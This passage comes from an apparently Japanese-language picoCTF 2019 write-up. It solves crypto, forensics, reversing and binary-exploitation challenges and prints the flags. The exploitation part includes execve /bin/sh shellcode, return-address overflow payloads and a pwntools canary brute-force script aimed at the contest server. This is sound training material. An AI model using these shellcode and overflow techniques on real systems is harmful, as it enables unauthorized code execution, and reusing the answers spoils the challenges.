    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data


def pad(pt):
    padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
    return pt + (chr(padding) * padding)

def aes_decrypt(pt):

    blocks = [pt[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(pt) / BLOCK_SIZE)]

    dec_blocks = []
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        if curr_blk >= prev_blk:
            curr_blk -= prev_blk
        else :
            curr_blk += UMAX - prev_blk

        dec_blocks.append(to_bytes(curr_blk))

    ct = "".join(dec_blocks)

    return ct

if __name__=="__main__":
    with open('body.enc.ppm', 'rb') as f:
        header, data = parse_header_ppm(f)

    c_img = aes_decrypt(data)

    with open('flag.enc.ppm', 'wb') as fw:
        fw.write(header)
        fw.write(c_img)

復元した画像はこんな感じです。
f:id:latikuchi:20191013012839p:plain
picoCTF{d0Nt_r0ll_yoUr_0wN_aES}

b00tl3gRSA2 - Points: 400

問題文のポートにつなぐと、c,n,eが与えられます。eが明らかに大きいので、dが相対的に小さくなり"Wiener's Attack"が利用できます。実装についてはこちら のものを使わせてもらいました。攻撃の理論部分もかなり面白いのでぜひ調べてみると良いと思います。

ソースコード(クリックで展開)

import RSAwienerHacker as rsawh
import binascii

c = 56656100971322994378903659581639667263181025169563841204760923477990417055111694274001304671545458706809508633327999774788544358222043570769750574094503749486994396364755772673516109027699315090811393957018347610684687643062104294568474958269601295497106521770293630342981421588503765175127545000305814657624
n = 169000617939475801719232926392594204887911653053669296450848250211503954757658258234361673045917611395259753314167507543751066867190908987523685631637937192670609240949185700930384967901772322486050400940374318831849069624832555722418977368443238543700482289040123386181870006174103488023700939578656185054937
e = 104282847696299821803344363387346226492929905999517621320358015144929122944286433053047683872879567340957084151318095199189666052904471664181421898216857332802058136865784974831238500750179306840273961942548992060472115990213765273638748205448948273951778916591430934374621323186086558063656343812287804940673

d = rsawh.hack_RSA(e,n)
print(d)

hex_m = hex(pow(c,d,n))
print(hex_m[2:])
print(binascii.a2b_hex(hex_m[2:]))

picoCTF{bad_1d3a5_9093280}

b00tl3gRSA3 - Points: 450

問題文ポートにつなぐとまたc,n,eが与えられます。問題文を眺めると因数がたくさんある様子なので因数分解をします。ポラード・ロー素因数分解法を自分で実装しても良いですが、こちらなどが大きな数でも因数分解をしてくれて便利です。
素因数がたくさん出てくるので、あとは d*e = 1 (mod phi), phi = (p1 - 1)*(p2 - 1).....,の形になっていると信じて解いてみるとフラグが手に入ります。

ソースコード(クリックで展開)

import binascii
from mod_inv import *

c = 149158883771914921923806068850983023165740567205210384873334937018434526829517522001311943462182663087570824161722421702800201427238288971370150701692753312378406401731494132140633572524085865040120432164269757360338534999470179976867397488905350358425756277194170198811527908198663537588539417362202409937355142573478973064234657480939486097257
n = 230699033587665286936584642628786787279426592357706758223867524624080834737196424617764347273248133236241393977130481534349686443402748162830594237827367339803533727868145899400852723632522330522775069514050718762925278826698631172171033031543047039452762907792614239450691952895205834947039925117195161778319750579346807807375464072135497645139
e = 65537
#https://www.alpertron.com.ar/ECM.HTM
n2 = 8793751579 * 8827824331 * 9033456253 * 9779185673 * 9801221233 * 10986884977 * 11088526499 * 11088612263 * 11369072723 * 11744461997 * 11973204611 * 12326340337 * 13162938961 * 13313251513 * 13989050947 * 14139985147 * 14235627239 * 14359731011 * 14421584161 * 14780897407 * 14877678821 * 15514838813 * 15621951809 * 15781325057 * 15842631697 * 15850435681 * 16342237957 * 16357213303 * 16457811037 * 16500533449 * 16657762003 * 16974969637 * 16999298507 * 17118453767
print(n==n2)
fact = [8793751579, 8827824331, 9033456253, 9779185673 , 9801221233 , 10986884977 , 11088526499 , 11088612263 ,11369072723 , 11744461997 , 11973204611 , 12326340337 , 13162938961 , 13313251513 ,13989050947 , 14139985147 , 14235627239 ,14359731011 , 14421584161 , 14780897407 , 14877678821 , 15514838813 , 15621951809 , 15781325057 , 15842631697 ,15850435681 ,16342237957 , 16357213303 , 16457811037 , 16500533449 ,16657762003 , 16974969637 , 16999298507 , 17118453767]
print(fact)

phi = 1
for f in fact:
    phi *= f - 1
print(phi)

d = mod_inv(e,phi)
print(d*e%phi) # == 1

hex_m = hex(pow(c,d,n))
print(hex_m[2:])
print(binascii.a2b_hex(hex_m[2:]))

picoCTF{too_many_fact0rs_8024768}

john_pollard - Points: 500

サーバ証明書に関する問題です。実際にRSA暗号が使われている例ということで面白いですね。
与えられた証明書をこちらなどで調べてみるとmが明らかに小さいので素因数分解します。

Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 12345 (0x3039)
    Signature Algorithm: md2WithRSAEncryption
        Issuer: CN=PicoCTF
        Validity
            Not Before: Jul  8 07:21:18 2019 GMT
            Not After : Jun 26 17:34:38 2019 GMT
        Subject: OU=PicoCTF, O=PicoCTF, L=PicoCTF, ST=PicoCTF, C=US, CN=PicoCTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (53 bit)
                Modulus: 4966306421059967 (0x11a4d45212b17f)
                Exponent: 65537 (0x10001)
    Signature Algorithm: md2WithRSAEncryption
         07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb:
         9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a:
         c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc:
         b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c:
         a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9:
         a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:
         6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:
         a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
         35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8:
         d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc:
         8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e:
         de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63:
         cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e:
         43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:
         25:9a:fd:5f

picoCTF{73176001,67867967}

Forensics

Glory of the Garden - Points: 50

画像が与えられるので、strings garden.jpg | grep picoします。
picoCTF{more_than_m33ts_the_3y3b7FBD20b}

unzip - Points: 50

"flag.zip"が与えられるので展開します。

f:id:latikuchi:20191013023229p:plain

picoCTF{unz1pp1ng_1s_3a5y}

So Meta - Points: 150

strings pico_img.png | grep picoします。問題名的にフラグが隠されている場所が前々問とは違うんでしょうけど、関係ありませんでした。

picoCTF{s0_m3ta_368a0341}

c0rrupt - Points: 250

ファイルが与えられます。ヒントの通りバイナリエディタで開いてみると、元はpngファイルであることが推測できます。PNGフォーマットを調べながら修正すると、pngファイルを復元できます。

f:id:latikuchi:20191013025446p:plain

picoCTF{c0rrupt10n_1847995}

pastaAAA - Points: 350

与えられた画像をステガノ解析するだけです。うさみみハリケーンのステガノ解析ツールを使いました。

0ビットと1ビットのビットプレーン画像を合成したものです。($に注意)
f:id:latikuchi:20191013025604p:plain

picoCTF{pa$ta_1s_lyf3}

m00nwalk - Points: 250

音声ファイルが与えられます。ヒントなどをもとに調べまくると、画像を音声に変換する"Slow-Scan Television (SSTV)"という方法がでてきます(ヒントのScottie dogは少し遠すぎませんか笑)。
ツールで調べると一番に出るMMSSTVを使って音声から画像を復元します(普通にスピーカーで流してマイクから取得しました)。Scottie 1という形式みたいですが、ツールが勝手に認識してくれます。そのままではうまくいかず、"自動傾き調整"というメニューを選択したら画像が表示されました。結構面白かったです。

f:id:latikuchi:20191013031544p:plain

picoCTF{beep_boop_im_in_space}

m00nwalk2 - Points: 300

前問の続きです。音声ファイルが4つ与えられ、1つは前問と全く同じもののようです。それぞれ違う形式でしたが、ツールが勝手に認識して復元してくれます。

f:id:latikuchi:20191013031534p:plain
f:id:latikuchi:20191013031538p:plain
f:id:latikuchi:20191013031541p:plain

ヒントを眺めると、元の音声ファイルをさらにステガノ解析すれば良さそうです。
"alan eliasen future boy"でググるステガノ解析ツールがでてくるので、それと画像のパスワードを使ってフラグを求めます。

picoCTF{the_answer_lies_hidden_in_plain_sight}

Investigative Reversing 0 - Points: 300

バイナリファイルと画像が与えられます。
とりあえずバイナリファイルをradare2で解析してみます(r2decというプラグインを入れています)。

解析結果のCの擬似コード(クリックで展開)

int32_t main (void) {
    int32_t c;
    int32_t var_4ch;
    int32_t var_48h;
    size_t var_44h;
    file* stream;
    file* var_38h;
    void * ptr;
    int32_t var_2fh;
    int32_t var_2eh;
    int32_t var_2dh;
    int32_t var_2ch;
    int32_t var_2bh;
    int32_t var_21h;
    int32_t canary;
    rax = *(fs:0x28);
    canary = *(fs:0x28);
    eax = 0;
    rax = fopen ("flag.txt", 0x00002008);
    stream = rax;
    rax = fopen ("mystery.png", 0x00002013);
    var_38h = rax;
    if (stream == 0) {
        puts ("No flag found, please make sure this is run on the server");
    }
    if (var_38h == 0) {
        puts ("mystery.png is missing, please run this on the server");
    }
    rdx = stream;
    rax = &ptr;
    eax = fread (rax, 0x1a, 1, rdx);
    var_44h = eax;
    if (var_44h <= 0) {
        exit (0);
    }
    puts ("at insert");
    eax = (int32_t) ptr;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) var_2fh;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) var_2eh;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) var_2dh;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) var_2ch;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) var_2bh;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    var_4ch = 6;
    while (var_4ch <= 0xe) {
        eax = var_4ch;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x30));
        c = al;
        eax = (int32_t) c;
        eax += 5;
        c = al;
        eax = (int32_t) c;
        rdx = var_38h;
        fputc (eax, var_38h);
        var_4ch++;
    }
    eax = (int32_t) var_21h;
    c = al;
    eax = (int32_t) c;
    eax -= 3;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    var_48h = 0x10;
    while (var_48h <= 0x19) {
        eax = var_48h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x30));
        c = al;
        eax = (int32_t) c;
        rdx = var_38h;
        fputc (eax, var_38h);
        var_48h++;
    }
    rax = var_38h;
    fclose (var_38h);
    rax = stream;
    fclose (stream);
    rax = canary;
    rax ^= *(fs:0x28);
    if (var_48h != 0x19) {
        stack_chk_fail ();
    }
    return rax;
}

"flag.txt"と"mystery.png"を入力としてこのバイナリファイルを実行した結果が、与えられた"mystery.png"であることがわかりますね。eax = fread (rax, 0x1a, 1, rdx);からフラグがpicoCTF{}を含め、26文字であることがわかります。
次にstrings mystery.pngをしてみるとpicoCTKk5zsid6q_e66efc1b}の怪しい文字列が出てきます。
前の解析で重要なのはこの辺りで、

    var_4ch = 6;
    while (var_4ch <= 0xe) {
        eax = var_4ch;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x30));
        c = al;
        eax = (int32_t) c;
        eax += 5;
        c = al;
        eax = (int32_t) c;
        rdx = var_38h;
        fputc (eax, var_38h);
        var_4ch++;
    }
    eax = (int32_t) var_21h;
    c = al;
    eax = (int32_t) c;
    eax -= 3;
    c = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    var_48h = 0x10;
    while (var_48h <= 0x19) {
        eax = var_48h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x30));
        c = al;
        eax = (int32_t) c;
        rdx = var_38h;
        fputc (eax, var_38h);
        var_48h++;
    }

7-13文字目を-5, 14文字目を+3, あとはそのままにすると復元できるということがわかります。
これをもとにコードを書きます。

ソースコード(クリックで展開)

s = "picoCTF{k5zsid6q_e66efc1b}"

ans = ""
for i in range(len(s)):
    if 8 <= i and i <= 0xe:
        ans += chr(ord(s[i])-5)
    elif i == 0xf:
        ans += chr(ord(s[i])+3)
    else :
        ans += s[i]
print(ans)

picoCTF{f0und_1t_e66efc1b}

Investigative Reversing 1 - Points: 350

与えられる画像が3枚になりましたが、やることは前問と同じようです。

解析結果のCの擬似コード(クリックで展開)

int32_t main (void) {
    int32_t var_63h;  
    int32_t c;
    int32_t var_61h;  
    int32_t var_60h;  
    int32_t var_5ch;  
    int32_t var_58h;  
    size_t var_54h;
    file* stream;
    file* var_48h;
    file* var_40h;
    file* var_38h;
    void * ptr;
    int32_t var_2fh;  
    int32_t var_2eh;  
    int32_t var_2dh;  
    int32_t var_2ch;  
    int32_t var_2bh;  
    int32_t canary;
    rax = *(fs:0x28);
    canary = *(fs:0x28);
    eax = 0;
    rax = fopen ("flag.txt", 0x00002008);
    stream = rax;
    rax = fopen ("mystery.png", 0x00002013);
    var_48h = rax;
    rax = fopen ("mystery2.png", 0x00002013);
    var_40h = rax;
    rax = fopen ("mystery3.png", 0x00002013);
    var_38h = rax;
    if (stream == 0) {
        puts ("No flag found, please make sure this is run on the server");
    }
    if (var_48h == 0) {
        puts ("mystery.png is missing, please run this on the server");
    }
    rdx = stream;
    rax = &ptr;
    eax = fread (rax, 0x1a, 1, rdx);
    var_54h = eax;
    eax = (int32_t) ptr;
    var_63h = al;
    eax = (int32_t) var_2fh;
    c = al;
    eax = (int32_t) var_63h;
    var_61h = al;
    eax = (int32_t) c;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) var_63h;
    eax += 7;
    var_63h = al;
    var_63h = 0x2a;
    eax = (int32_t) var_63h;
    edx = eax;
    dl >>= 7;
    eax += edx;
    al >>= 1;
    var_63h = al;
    edx = (int32_t) var_61h;
    eax = (int32_t) var_63h;
    eax += edx;
    var_61h = al;
    eax = (int32_t) var_61h;
    rdx = var_40h;
    fputc (eax, var_40h);
    eax = (int32_t) var_2eh;
    eax = (int32_t) al;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) var_2dh;
    var_63h = al;
    eax = (int32_t) var_2ch;
    c = al;
    eax = (int32_t) var_2bh;
    var_61h = al;
    eax = (int32_t) var_61h;
    rdx = var_38h;
    fputc (eax, var_38h);
    eax = (int32_t) c;
    rdx = var_48h;
    fputc (eax, var_48h);
    var_60h = 6;
    while (var_60h <= 9) {
        eax = var_60h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x30));
        var_61h = al;
        eax = (int32_t) var_63h;
        eax++;
        var_63h = al;
        eax = (int32_t) var_61h;
        rdx = var_48h;
        fputc (eax, var_48h);
        var_60h++;
    }
    eax = (int32_t) var_63h;
    rdx = var_40h;
    fputc (eax, var_40h);
    var_5ch = 0xa;
    while (var_5ch <= 0xe) {
        eax = var_5ch;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x30));
        eax = (int32_t) al;
        rdx = var_38h;
        fputc (eax, var_38h);
        var_5ch++;
    }
    var_58h = 0xf;
    while (var_58h <= 0x19) {
        eax = var_58h;
        rax = (int64_t) eax;
        eax = *((rbp + rax - 0x30));
        eax = (int32_t) al;
        rdx = var_48h;
        fputc (eax, var_48h);
        var_58h++;
    }
    rax = var_48h;
    fclose (var_48h);
    rax = stream;
    fclose (stream);
    rax = canary;
    rax ^= *(fs:0x28);
    if (var_58h != 0x19) {
        stack_chk_fail ();
    }
    return rax;
}

stringsなどで各画像から文字列を取ってくると、1と3番目の画像からCF{An1_b179115e}, icT0tha_の怪しい文字列を拾ってこれます。
先ほどと同じように復元したかったのですが、前半の方でなかなか複雑な処理をしている上に長いので、コードを追うのが結構厳しいですね。
ということで、実際にpicoCTF{abcdefghijklmnopq}などとして"flag.txt"を作成し、バイナリファイルを実行してみます。
すると、1番目の画像からCF{abhijklmnopq}, 3番目の画像からicTcdefgが得られ、見通しが良くなりました。
擬似コードを頑張って読み解きながら復元するコードを書きます。

ソースコード(クリックで展開)

p1 = 'CF{An1_b179115e}'
p2 = '0x85' + 's'
p3 = 'icT0tha_'

c1 = 0
c2 = 0
c3 = 0

ans = ""
for i in range(26):
    if i == 0 or i == 3:
        ans += p2[c2]
        c2 += 1
    elif i == 1 or i == 2 or i == 5 or 10 <= i and i <= 14:
        ans += p3[c3]
        c3 += 1
    else:
        ans += p1[c1]
        c1 += 1

print(ans)

完全に復元はできませんでしたが、読める程度にはなりました。
picoCTF{An0tha_1_b179115e}

Binary Exploit

handy-shellcode - Points: 50

バイナリファイルとCソースコードが与えられます。受け取った入力で((void (*)())buf)();を実行しているのでシェルコードを流せばokです。
ここなどから適切なシェルコードを持ってきます(シェルを実行できる奴ならなんでも良いです)。あとは pythonのprintとパイプを使い文字列を入力します。;catはシェルがすぐに閉じてしまわないようにするためです。shellを奪えたらcat flag.txtするだけです。

実行の様子(クリックで展開)

ユーザー名@pico-2019-shell1:/problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af(python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'";cat) |./vuln
Enter your shellcode:
j
 X�Rh//shh/bin��1�̀
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}

picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}

pwn楽しいですね!

slippery-shellcode - Points: 200

前問と似ていますが、offset = (rand() % 256) + 1が入力の文字列に足されています。
しかし、seedを設定していないので、リファレンス"If no seed value is provided, the rand() function is automatically seeded with a value of 1."の通り、常に同じ値を出す定数に過ぎないことがわかります。
手元で実行してみるとoffset = 104となるので、buf+offsetは何が起こっているかというと、char配列の先頭のポインタbufに104を足す、つまり*(buf + 104)から'\0'が来るまでを入力として与えているのと同じです。
ここまでわかれば、前問のシェルコードの前に適当な104文字の文字列を足せば良いだけです。
せっかくなので前問とはちがうシェルコードを流してみます。

実行の様子(クリックで展開)

ユーザー名@pico-2019-shell1:/problems/slippery-shellcode_3_68613021756bf004b625d7b414243cd8$ (python -c "print 'a'*104 + '\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1'";cat) | ./vuln
Enter your shellcode:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah̀hh��hj
                         X1�Rh//shh/bin��RS����  
Thanks! Executing from a random location now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_de21cb07}

picoCTF{sl1pp3ry_sh311c0d3_de21cb07}

OverFlow 0 - Points: 100

適当にオーバーフローを起こしてみるだけでもフラグが表示されてしまうのですが、ちゃんと与えられたコードを読んでみます。
signal(SIGSEGV, sigsegv_handler);でsighandlerが設定されています。これはシグナルSIGSEGVが起こった時に、sigsegv_handler()を実行する関数です。sigsegv_handler()ではフラグをprintfしているため、オーバーフローでセグフォを起こすとフラグが表示されるということでした。

picoCTF{3asY_P3a5yd4a28467}

OverFlow 1 - Points: 150

前問と同じくvuln()でオーバーフローを起こせます。また、flag()というフラグを表示する関数があります。
ヒントやコードにも書かれている通り、オーバーフローでスタックを操作する問題の中で、リターンアドレスをいじって好きな関数に飛ぶという基本の問題です。

gdb-pedaで解析していきます。pattcコマンドで文字列を生成して入力し、pattoで何文字目でセグフォが起きるのか確認します。76文字目とわかった(64+4*3でも求まります)ので、info functionsやprint &flagなどをしてflag()のアドレスを調べます。

解析の様子(クリックで展開)

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Starting program: ディレクトリ/overflow1/vuln
[----------------------------------registers-----------------------------------]
EAX: 0x41344141 ('AA4A')
EBX: 0x0
ECX: 0x41344141 ('AA4A')
EDX: 0xfef50000
ESI: 0x41344142 ('BA4A')
EDI: 0xfffed440
EBP: 0x0
ESP: 0xfffec7f0
EIP: 0x600651d8 (movzx  ebx,BYTE PTR [eax+edx*1])
EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x600651cf:  dec    eax
   0x600651d0:  mov    edx,DWORD PTR ds:0x25a464a
   0x600651d6:  mov    eax,eax
=> 0x600651d8:  movzx  ebx,BYTE PTR [eax+edx*1]
   0x600651dc:  cmp    bl,0x66
   0x600651df:  je     0x600653c8
   0x600651e5:  ja     0x60065220
   0x600651e7:  cmp    bl,0x36
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0xfffec7f0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x600651d8 in ?? ()
gdb-peda$ patto AA4A
AA4A found at offset: 76
gdb-peda$ print &flag
$1 = (<text variable, no debug info> *) 0x80485e6 <flag>

あとはアドレスをリトルエンディアンに直して入力するだけです。

ユーザー名@pico-2019-shell1:/problems/overflow-1_0_48b13c56d349b367a4d45d7d1aa31780$python -c "print 'a'*76 +'\xe6\x85\x04\x08'" | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5c0178710}

OverFlow 2 - Points: 250

次は前問に加えて、関数の引数もいじる必要があります。
同様に解析すると188文字目がリターンアドレスの始まりのようです。flagのアドレスは先ほどと同じで、加えて引数1を0xDEADBEEF, 引数2を0xC0DED00Dにする必要があります。32 bitであれば、リターンアドレス、引数1、引数2....とスタックに積まれていくので、flagのアドレス + ダミー + 0xDEADBEEF + 0xC0DED00Dと積めば良さそうです。

ユーザー名@pico-2019-shell1:/problems/overflow-2_3_051820c27c2e8c060021c0b9705ae446$ python -c "print 'a'*188 +'\xe6\x85\x04\x08' + 'bbbb' + '\xef\xbe\xad\xde' + '\r\xd0\xde\xc0'" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���aaaaaaaaaaaaabbbbᆳ�
picoCTF{arg5_and_r3turn51b106031}

NewOverFlow-1 - Points: 200

今度は64bit環境におけるオーバーフローの問題です。基本的には同じなのですが、ここここに載っているような点に注意する必要があります。
前問までと同様にgdbを使うと72文字目(64+8)がスタートであることがわかります。flagのアドレスは0x00400767なので、リトルエンディアンに直した'g\x07@\x00\x00\x00\x00\x00'をオフセットの後に加えます。
これでflag()を実行できるのですが、"flag.txt"を自分のディレクトリに足して実行してみると、printfでセグフォを起こすことがわかります。これはThe MOVAPS issueと呼ばれるものようで、printfを呼ぶときにスタックが"16 byte aligned"である必要があるみたいです(よく理解できていない)。
解決方法はここに書かれていて、適当なretのアドレスを加えてpayload = offset + ret_addr + flag_addrの形にすればpushを相殺できるので良さそうです。他には、flag()の一番初めのpushを飛ばして2命令目のアドレスを入力しても解決できます。
今回はflag()のretのアドレスである0x004007cbを使います。

ユーザー名@pico-2019-shell1:/problems/newoverflow-1_5_bd04c7682164df72135e036dd527b668$ python -c "print 'a'*72 + '\xcb\x07@\x00\x00\x00\x00\x00' + 'g\x07@\x00\x00\x00\x00\x00'" | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_351346a2}

NewOverFlow-2 - Points: 250

前問の続きです。ソースコードを眺めるとwin_fn1(),win_fn2()の適切なアドレスと引数を与えてbool値win1, win2をtrueに変えた後にwin_fn()を起動するとフラグが表示されるようです。
が、 作者がNewOverFlow1を流用して作ったのか、1と同じflag()があります笑。こういうこともあるんですね。
せっかくなのでflag()の2命令目に飛ぶ方法も試してみます。gdb-pedaでdisas flagをして アセンブリコードを見ます。pushをスキップして0x000000000040084eに飛ばしてみます。

gdb-peda$ disas flag
Dump of assembler code for function flag:
   0x000000000040084d <+0>:     push   rbp
   0x000000000040084e <+1>:     mov    rbp,rsp
   0x0000000000400851 <+4>:     sub    rsp,0x50
   0x0000000000400855 <+8>:     lea    rsi,[rip+0x16c]        # 0x4009c8
   0x000000000040085c <+15>:    lea    rdi,[rip+0x167]        # 0x4009ca
   0x0000000000400863 <+22>:    call   0x400660 <fopen@plt>
   0x0000000000400868 <+27>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040086c <+31>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000400871 <+36>:    jne    0x400889 <flag+60>
   0x0000000000400873 <+38>:    lea    rdi,[rip+0x15e]        # 0x4009d8
   0x000000000040087a <+45>:    call   0x4005f0 <puts@plt>
   0x000000000040087f <+50>:    mov    edi,0x0
   0x0000000000400884 <+55>:    call   0x400670 <exit@plt>
   0x0000000000400889 <+60>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040088d <+64>:    lea    rax,[rbp-0x50]
   0x0000000000400891 <+68>:    mov    esi,0x40
   0x0000000000400896 <+73>:    mov    rdi,rax
   0x0000000000400899 <+76>:    call   0x400620 <fgets@plt>
   0x000000000040089e <+81>:    lea    rax,[rbp-0x50]
   0x00000000004008a2 <+85>:    mov    rdi,rax
   0x00000000004008a5 <+88>:    mov    eax,0x0
   0x00000000004008aa <+93>:    call   0x400610 <printf@plt>
   0x00000000004008af <+98>:    nop
   0x00000000004008b0 <+99>:    leave
   0x00000000004008b1 <+100>:   ret
End of assembler dump.

うまくいきました。

ユーザー名@pico-2019-shell1:/problems/newoverflow-2_3_3602cb64cd7f9512a10ae9139f8d8c2c$ python -c "print 'a'*72 + 'N\x08@\x00\x00\x00\x00\x00'" | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}

CanaRy - Points: 300

こちらもオーバーフローでスタックを書き換えてdisplay_flag()に飛ばす問題ですが、オーバーフローをチェックするcanaryが設定されています。canaryは4byteでread_canary()でサーバー上の"canary.txt"から読み込んでいるようなので、値は常に同じのようです。
オーバーフローでスタックをいじる際に間にcanaryがあるので、値の変更を検出してexit(-1)してしまいます。ということで、display_flag()に飛ばすためには、まずcanaryの値を調べてオーバーフローを検出されないようにする必要があります。
入力する文字数はこちら側で制御できるので、1文字ずつブルートフォースしていきます。ブルートフォースによってcanaryが求まったら、前問までと同様にgdbでdisplay_flag()のアドレスとオフセットの長さを求めてpayload = offest1 + canary + offset2 + display_flag_addrという感じで入力すればokです。

この問題では更にPIEがenabledになっているので、このままではうまくいくとは限りません(数回試してたまたま表示されてしまったので途中まで気づいていませんでした)。
display_flag()の(相対)アドレス0x000007edは固定ですが、ベースアドレスはランダムな値を取ります(まだまだ理解があやふやなので間違ったことを言っている可能性があります)。しかし、このままで何度も送信すればそのうち通ります。

まとめるとブルートフォースによるcanaryの特定->オーバーフローによるリターンアドレスの書き換え->複数回実行によるPIEの回避の3段階でした。これで300点ってBinary Exploitationのコスパが悪すぎる……。

ソースコード(クリックで展開)

from pwn import *

print('picoCTF shell server login')
pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/canary_4_221260def5087dde9326fb0649b434a7')

####### bruteforce
# canary = b''
# for i in range(4):
#     for c in range(0xff+1):
#         attack = b'a'*32 + canary + p8(c)
#         print(attack)
#         p = pico_ssh.process('./vuln')
#         p.recvuntil('Please enter the length of the entry:\n> ')
#         p.sendline(str(32+i+1))
#         p.recvuntil('Input> ')
#         p.sendline(attack)
#         res = p.recvall()
#         print(res)
#         if b'Canary Value Corrupt!' not in res:
#             print(res)
#             canary += p8(c)
#             break
# print(canary)

disp_flag = p32(0x000007ed)
canary = 'LjgH'

attack = 'a'*32 + canary + 'a'*16 + disp_flag
print(attack)

while True:
    p = pico_ssh.process('./vuln')
    p.recvuntil('Please enter the length of the entry:\n> ')
    p.sendline('54')
    p.recvuntil('Input> ')
    p.sendline(attack)
    res = p.recvall()
    if 'picoCTF' in res:
        print(res)
        break

picoCTF{cAnAr135_mU5t_b3_r4nd0m!_bf34cd22}

seed-sPRiNG - Points: 350

与えられたポートにつなぐと、数値を入力するだけの簡単なゲームが表示されます。適当に何回かプレイすると当たって次のステージに行けますが、次やるときはうまくいかないランダム化されていることがわかります。
radare2で与えられたバイナリファイルを解析してみると、

解析結果のCの擬似コード(クリックで展開)

int32_t main (int32_t arg_4h) {
    int32_t var_18h;
    uint32_t var_14h;
    time_t seed;
    int32_t var_ch;
    int32_t var_8h;
    ecx = &arg_4h;
    _x86_get_pc_thunk_bx (ecx, ebx, ebp);
    ebx += 0x183a;
    puts (ebx - 0x1570);
    puts (ebx - 0x1570);
    puts (ebx - 0x1560);
